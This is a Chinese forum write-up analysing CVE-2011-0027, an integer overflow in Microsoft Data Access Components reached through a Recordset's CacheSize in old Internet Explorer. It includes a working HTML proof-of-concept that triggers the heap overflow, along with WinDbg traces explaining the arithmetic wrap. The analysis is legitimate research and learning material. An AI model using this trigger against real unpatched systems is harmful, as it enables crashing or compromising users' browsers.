首页
论坛
课程
招聘
[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析
2021-8-1 18:22 8635

[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析

2021-8-1 18:22
8635

0. 前言

这篇文章对CVE-2011-0027整数溢出漏洞进行了分析,之前在没有系统看过0day安全之前也曾经分析过一个整数溢出漏洞,只不过导致溢出的运算不太一样,感兴趣的可以去看一下那篇文章。

 

在分析这个漏洞的过程中,花费精力最多的其实是环境的搭建,因为漏洞已经比较老了,遇到了各种坑。之前的漏洞分析最晚在周四也能完成,这次到周四才把环境搭建好。

 

本文首先对MDAC进行了简单的介绍,然后花费了一定篇幅说明了搭建环境过程中遇到的各种问题,之后大致按照《漏洞战争》中的流程对漏洞进行了调试分析。总体来说漏洞原理其实并不复杂,只是环境搭建花费了很多时间。

1. 先决知识

1.1 漏洞简介

在MDAC处理RecordSet时,没有正确验证其指定缓冲区大小的CacheSize属性,如果属性值过大,会导致整数溢出,造成实际分配的空间大小小于原来指定的内存空间。由于漏洞发生在堆上,最终会导致堆溢出。

1.2 MDAC是什么

MDAC全程是Microsoft Data Access Components,即微软数据库访问组件。它为应用程序访问数据库提供了一个标准的接口。

 

MDAC在应用程序层使用的编程语言接口叫做ActiveX Data Objects(ADO),使用ADO可以建立Connection对象,表示一个对数据库的会话连接,Connection对象包含一个Execute方法,应用程序通过这个方法执行想要的操作。ADO还支持Command对象,可以使用Command对象建立一个参数化的命令并执行;Recodset对象代表的就是数据库中表格形式的数据,Execute或者Command执行后返回的数据就是Recordset格式的,Recordset对象支持各种用于控制数据的选项。通常来说,Recordset对象表示的是整行数据,或者一行数据中的其中几列,而访问单独的列要使用Field对象。虽然通过RecordSet每次只能访问一行的数据,但是这并不表示每次访问的时候都需要访问一次数据库,RecordSet可以缓存多行数据,而CacheSize就表示了它可以缓存的数据大小。

 

更详细的关于ADO的信息可以查看参考资料3

1.3 进一步的知识点

在HTML中可以使用<XML>标签插入需要的数据,并提供方法访问这些数据,这一过程实际上就是在使用MDAC对数据库进行访问,这里使用的对象就是上面介绍的ADO。

 

因此可以在访问XML中的数据时使用我们上面介绍的一些对象和方法的名称,也可以在这一过程中,触发CacheSize中存在的整数溢出漏洞。

2. 漏洞分析

2.0 关于环境配置(绝望的一周)

这个东西我搞了一周,终于在周四得到了正确的异常和symbol信息……中间遇到各种问题:操作系统版本的问题、Windbg版本的问题、IE的版本问题、symbol找不到……

  • 操作系统:我先后换了四个版本的操作系统,Win7 的32位和64位,Win7 SP1的64位以及WinXP SP3。其中Win7 SP1中的IE版本偏高无法触发异常;Win7的系统在调试的时候!heap总是找不到wow64.pdb。然后我开始用WinXP进行调试……
  • IE版本:IE的版本要小于8.0.7601。
  • Windbg版本问题:如果是在Win XP上面调试,直接使用最新的Windbg是不行的,!heap显示堆信息也会出问题,具体可以查看这篇文章。所以最后在网上找了很久,找到了一个6.6.07.5的版本,这个版本可以在WinXP上面使用

但是……

 

后来发现在Winxp下调试的时候输出的调试信息会和正确的地址有误差,我也不知道是Windbg版本的问题还是符号文件有问题;与此同时,我也发现Win7 64位上面的符号文件是可以正常下载的,wow64.pdb也在正确的位置上,就是不知道为什么会报错。正当我几近绝望的时候,在stackoverflow上面搜索到了这样一条回复:

My Windbg is 6.3.9600. I think you attach to some process, not open a wow64 process dump. If I attach to a wow64 process using 32bit windbg, all the commands can works fine. But when I open a wow64 process dump, both 32bit and 64bit windbg can not work. – Leon Nov 17 '14 at 5:08

 

感谢Leon,我突然意识到了我的问题,我选择的Windbg的位数可能是错的。因为用的是64位的虚拟机,所以我自然而然的选择了64位的Windbg。最终我安装了32位的Windbg,成功得到了正确的调试信息。

 

Windbg 位数选择

  • 如果你的调试主机运行的是32位版本的windows,使用32位的调试工具(不管此时被调试的目标机是 x86-based 还是 x64-based)
  • 如果你的调试主机使用x64-based的处理器,并且运行64位的windows,请参考如下规则:
    • 如果你在分析dump文件,你可以使用32位或者64位的调试工具集。(不管dump文件是用户态的还是内核态的,也不管这个dump文件是在 x86-based 还是 x64-based的平台上抓的。)
    • 如果你在进行实时内核调试,你可以使用32位或者64位的调试工具集(不管此时被调试的目标机是 x86-based 还是 x64-based)
    • 如果你在进行实时用户态调试,并且调试器也在同一台机器上,对于64位的代码和32位的 WOW64代码都需要使用64位的调试工具集。使用 .effmach.aspx)命令设置调试器的模式。
    • 如果你在实时调试32位的用户态代码,但是这些代码运行在一个单独的目标机器上,使用32位的调试工具集。

2.1 调试代码

以下是调试代码,保存成poc.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html xmlns:t = "urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start() {
    localxmlid1 = document.getElementById('xmlid1').recordset;
    localxmlid1.CacheSize = 0x40000358;
    for (var i = 0; i < 0x100000; i++) {
        localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]);
        localxmlid1.MoveFirst();
    }
}
</script>
<body onLoad="window.setTimeout(Start, 100);" id="bodyid">
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA />
</Device>
</Devices>
</XML>
</body>
</html>

2.2确定函数的对应关系

之前只在分析MS06-055这个漏洞的时候有过调试IE的经历,在已经确认漏洞所在文件名时,可以直接根据漏洞相关信息在Function name中进行搜索,确定相关函数地址,然后在该地址处下断点进行调试。

 

在《漏洞战争》中,还讲到了另外一种调试的方法,在谷歌中搜索:【关键词】 site:https://www.geoffchappell.com

 

我在测试的时候一开始只搜到两个结果,最关键的那个没有搜索到,后来换了一个代理地址,就成功了,(lll¬ω¬)

 

这样搜索的目的是为了找到在IE中存在的和recordset有关的类方法,因为需要在对应的方法处设置断点进行调试。

 

根据搜索结果,得到了三个和recordset有关的类:

1
2
3
4
5
6
7
CEventObj::get_recordset
CEventObj::putref_recordset
 
CGenericElement::get_recordset
 
CObjectElement::get_recordset
CObjectElement::putref_recordset

其中CEventObj是为html中event对象提供的接口,可以忽略不记,代码中是一个获取recordset的行为,所以最终要在CGenericElement::get_recordsetCObjectElement::get_recordset上下断点。

 

poc.html打开之后,设置好断点,继续执行,程序断在了CGenericElement::get_recordset这个函数上,说明代码中localxmlid1 = document.getElementById('xmlid1').recordset;这个语句对应的是CGenericElement::get_recordset函数。

2.3 开始调试

先确定一下漏洞发生的位置,还是使用之前漏洞分析时介绍的方法,为iexplor.exe设置页堆:

1
2
3
C:\Documents and Settings\test>"C:\Documents and Settings\test\Desktop\Global Flags.lnk" -i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
    hpa - Enable page heap

打开poc.html,根据IE的默认安全设置,此时JS脚本是不会执行的,需要额外的步骤进行确认。这时使用windbg附加到iexplore.exe上,继续执行,再在IE上面"允许阻止的内容",此时就会发生异常:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(a14.a2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000036b ebx=0000035b ecx=00000000 edx=00000001 esi=0eace000 edi=00000000
eip=720f746f esp=0848e744 ebp=0848e748 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mshtml!CImpIRowset::HRowNumber2HROWQuiet+0x23:
720f746f 8906            mov     dword ptr [esi],eax  ds:002b:0eace000=????????
0:005> !heap -p -a 0eace000
    address 0eace000 found in
    _DPH_HEAP_ROOT @ ea21000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 ea22750:          eacd298              d64 -          eacd000             2000
    74be8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    779c02fe ntdll!RtlDebugAllocateHeap+0x00000030
    7797ac4b ntdll!RtlpAllocateHeap+0x000000c4
    77923b4e ntdll!RtlAllocateHeap+0x0000023a
    7171975d MSDART!MpHeapAlloc+0x00000029
    715e06e7 msado15!CRecordGroup::AllocateHRowRange+0x00000085
    715e0650 msado15!CRecordset::PrepareForFetch+0x000000e2
    716744ae msado15!CRecordset::MoveAbsolute+0x000003e3
    716080a5 msado15!CRecordset::_MoveFirst+0x0000007d
    71677957 msado15!CRecordset::MoveFirst+0x00000221
    715efde6 msado15!CRecordset::Invoke+0x00001560
    7182db38 jscript!IDispatchInvoke2+0x000000f0
    7182da8c jscript!IDispatchInvoke+0x0000006a
    7182d9ff jscript!InvokeDispatch+0x000000a9
    7182db8a jscript!VAR::InvokeByName+0x00000093
    7182d8c8 jscript!VAR::InvokeDispName+0x0000007d
    7182d96f jscript!VAR::InvokeByDispID+0x000000ce
    7182e3e7 jscript!CScriptRuntime::Run+0x00002b80
    71825c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    71825bfb jscript!ScrFncObj::Call+0x0000008d
    71825e11 jscript!CSession::Execute+0x0000015f
    7181f3ee jscript!NameTbl::InvokeDef+0x000001b5
    7181ea2e jscript!NameTbl::InvokeEx+0x0000012c
    718196de jscript!NameTbl::Invoke+0x00000070
    71e2aa7b mshtml!CWindow::ExecuteTimeoutScript+0x00000087
    71e2ab66 mshtml!CWindow::FireTimeOut+0x000000b6
    71e56af7 mshtml!OnTimer+0x0000003d
    71e51e57 mshtml!GlobalWndProc+0x00000183
    75c06238 USER32!InternalCallWinProc+0x00000023
    75c068ea USER32!UserCallWinProcCheckWow+0x00000109
    75c07d31 USER32!DispatchMessageWorker+0x000003bc
    75c07dfa USER32!DispatchMessageW+0x0000000f

书中使用!heap -p -a指令显示出了具体的栈回溯信息,之前进行其他漏洞分析的时候没发现这条指令这么好用,b( ̄▽ ̄)d。

 

从输出信息中可以看出堆块起始地址是0xeacd298,大小为0xd64,所以在写到0xeace000的时候就超过这个堆块的范围了。

 

我这里的windbg输出好像是有一些问题,函数名后面的偏移量是错误的,可能我下载的symbol还是有些问题,所以我这里的分析步骤也有一些调整。

 

从栈回溯中可以看到异常发生在调用CRecordset::MoveFirst之后,而CRecordset::MoveFirst又调用了CRecordGroup::AllocateHRowRange,从函数名看这应该是一个分配空间的函数,所以我打算在这里下一个断点,查看一下这个函数的参数情况。

 

但是在我在CRecordset::PrepareForFetch+0x000000e2下断点的时候,程序并没有断在正确的位置,而是断在了

1
2
3
4
5
6
Breakpoint 1 hit
eax=00000001 ebx=00000001 ecx=0d8afd70 edx=00000000 esi=0d8afd70 edi=73a09730
eip=724106d1 esp=0833ed90 ebp=0833ed9c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
msado15!CRecordGroup::AllocateHRowRange+0x6f:
724106d1 8b0d10f04c72    mov     ecx,dword ptr [msado15!g_hHeapHandle (724cf010)] ds:002b:724cf010=0d840000

因此我直接断在CRecordset::PrepareForFetch,F10向前步进了几步,到达了CRecordGroup::AllocateHRowRange的调用位置:

1
2
3
4
5
6
0:005> p
eax=00000000 ebx=00000000 ecx=0d2cfd70 edx=00000000 esi=0d2cfc48 edi=00000000
eip=71f2064b esp=086eee5c ebp=086eee6c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
msado15!CRecordset::PrepareForFetch+0xdd:
71f2064b e80f000000      call    msado15!CRecordGroup::AllocateHRowRange (71f2065f)

第一次中断的时候参数不对,继续执行,直到第三次断在这里的时候,查看esp:

1
2
3
4
5
6
7
8
9
0:005> dd esp
0875ec08  40000358 0875ec48 00000000 0bf1fc48
0875ec18  0875ec5c 71f644ae 40000358 0875ec48
0875ec28  00000001 00000001 0bf1fc48 00000000
0875ec38  0875ec60 743cc2f3 00000000 743cc2fb
0875ec48  00000000 00000000 0bf0ffa4 00000012
0875ec58  0075ec78 0875ecb8 71ef80a5 00000000
0875ec68  00000001 71f8f3c0 00000000 8b4eb1ba
0875ec78  0bf1fc54 0bf1fc48 0bf23f01 0875ecb4

可以看到第一个参数是40000358,就是poc中设置的CacheSize的大小。

 

这时候在CRecordGroup::AllocateHRowRange+0x00000085设置一个断点,继续执行

1
2
3
4
5
6
7
8
9
10
11
12
13
0:005> g
Breakpoint 2 hit
eax=00000d64 ebx=40000358 ecx=0beb0000 edx=0beb2c98 esi=0bf1fd70 edi=728f9730
eip=71ed06e4 esp=0875ebec ebp=0875ec00 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
msado15!CRecordGroup::AllocateHRowRange+0x82:
71ed06e4 51              push    ecx
0:005> p
eax=00000d64 ebx=40000358 ecx=0beb0000 edx=0beb2c98 esi=0bf1fd70 edi=728f9730
eip=71ed06e5 esp=0875ebe8 ebp=0875ec00 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
msado15!CRecordGroup::AllocateHRowRange+0x83:
71ed06e5 ffd7            call    edi {MSDART!MpHeapAlloc (728f9730)}

MpHeapAlloc的参数应该和HeapAlloc的参数差不多:

1
2
3
4
5
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  HANDLE hHeap,
  DWORD  dwFlags,
  SIZE_T dwBytes
);

看一下栈中元素的内容:

1
2
3
4
5
6
7
8
9
0:005> dd esp
0875ebe8  0beb0000 00a00000 00000d64 00000000
0875ebf8  0bf1fc48 00000012 0875ec18 71ed0650
0875ec08  40000358 0875ec48 00000000 0bf1fc48
0875ec18  0875ec5c 71f644ae 40000358 0875ec48
0875ec28  00000001 00000001 0bf1fc48 00000000
0875ec38  0875ec60 743cc2f3 00000000 743cc2fb
0875ec48  00000000 00000000 0bf0ffa4 00000012
0875ec58  0075ec78 0875ecb8 71ef80a5 00000000

第三个参数书d64,就是分配的堆块大小。看一下这个参数是怎么来的:

1
2
3
4
5
6
7
8
9
10
0:005> ub 71ed06e5
msado15!CRecordGroup::AllocateHRowRange+0x64:
71ed06c6 8bc7            mov     eax,edi
71ed06c8 8b3dfc10ec71    mov     edi,dword ptr [msado15!_imp__MpHeapAlloc (71ec10fc)]
71ed06ce 89460c          mov     dword ptr [esi+0Ch],eax
71ed06d1 8b0d10f0f871    mov     ecx,dword ptr [msado15!g_hHeapHandle (71f8f010)]
71ed06d7 8d048504000000  lea     eax,[eax*4+4]
71ed06de 50              push    eax
71ed06df 680000a000      push    0A00000h
71ed06e4 51              push    ecx

可以看到edi → eax → eax*4+4 → 0xd64这样一个计算过程,所以需要判断edi的值是多少,但是edi的值已经被MpHeapAlloc的地址覆盖了,所以需要再次调试。上面也说了,不知道为什么,windbg给出的偏移量是有问题的,所以我直接在CRecordGroup::AllocateHRowRange下断点,也是第三次中断的时候,单步到达mov eax, edi这条指令:

1
2
3
4
5
6
0:005> p
eax=00000001 ebx=40000358 ecx=779236fa edx=0e9a2c98 esi=0ea0fd70 edi=40000358
eip=725b06c6 esp=0845eeec ebp=0845eef8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
msado15!CRecordGroup::AllocateHRowRange+0x64:
725b06c6 8bc7            mov     eax,edi

可以看到此时edi的值为40000358,正是我们在代中设置的CacheSize的值。40000358*4+4=100000d64,由于寄存器大小只有四个字节,发生了整数溢出,得到的结果就是d64

3. 总结

这次漏洞分析学习到的是通过!heap -p -a ADDR得到栈回溯信息,从而确定堆溢出的位置和具体信息;以及怎样确定IE中编程使用的函数与底层API函数的对应关系,从而便于漏洞分析。还有在分析之前,环境搭建踩到的很多个坑,下次新的环境搭建就会更有经验了。

4. 参考资料

  1. 《漏洞战争》
  2. MS11-002 Pwn2Own heap overflow
  3. Microsoft Data Access Components (MDAC)
  4. Windbg 32位版本和64位版本的选择

5. 资料分享

在整个环境搭建过程了,在网上找到了几个很好的资料和资源,虽然最后可能没用到,但是还是分享给大家,自己也做一个存档:

  1. 安装与配置windbg的symbol(符号)
  2. Windows 全部调试符号包下载
  3. Windows调试器及不同平台符号包下载地址(收集)

如果有的下载地址已经无法访问,一定要善用internet archive,有些资源地址有历史快照。


[2022冬季班]《安卓高级研修班(网课)》月薪三万班招生中~

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回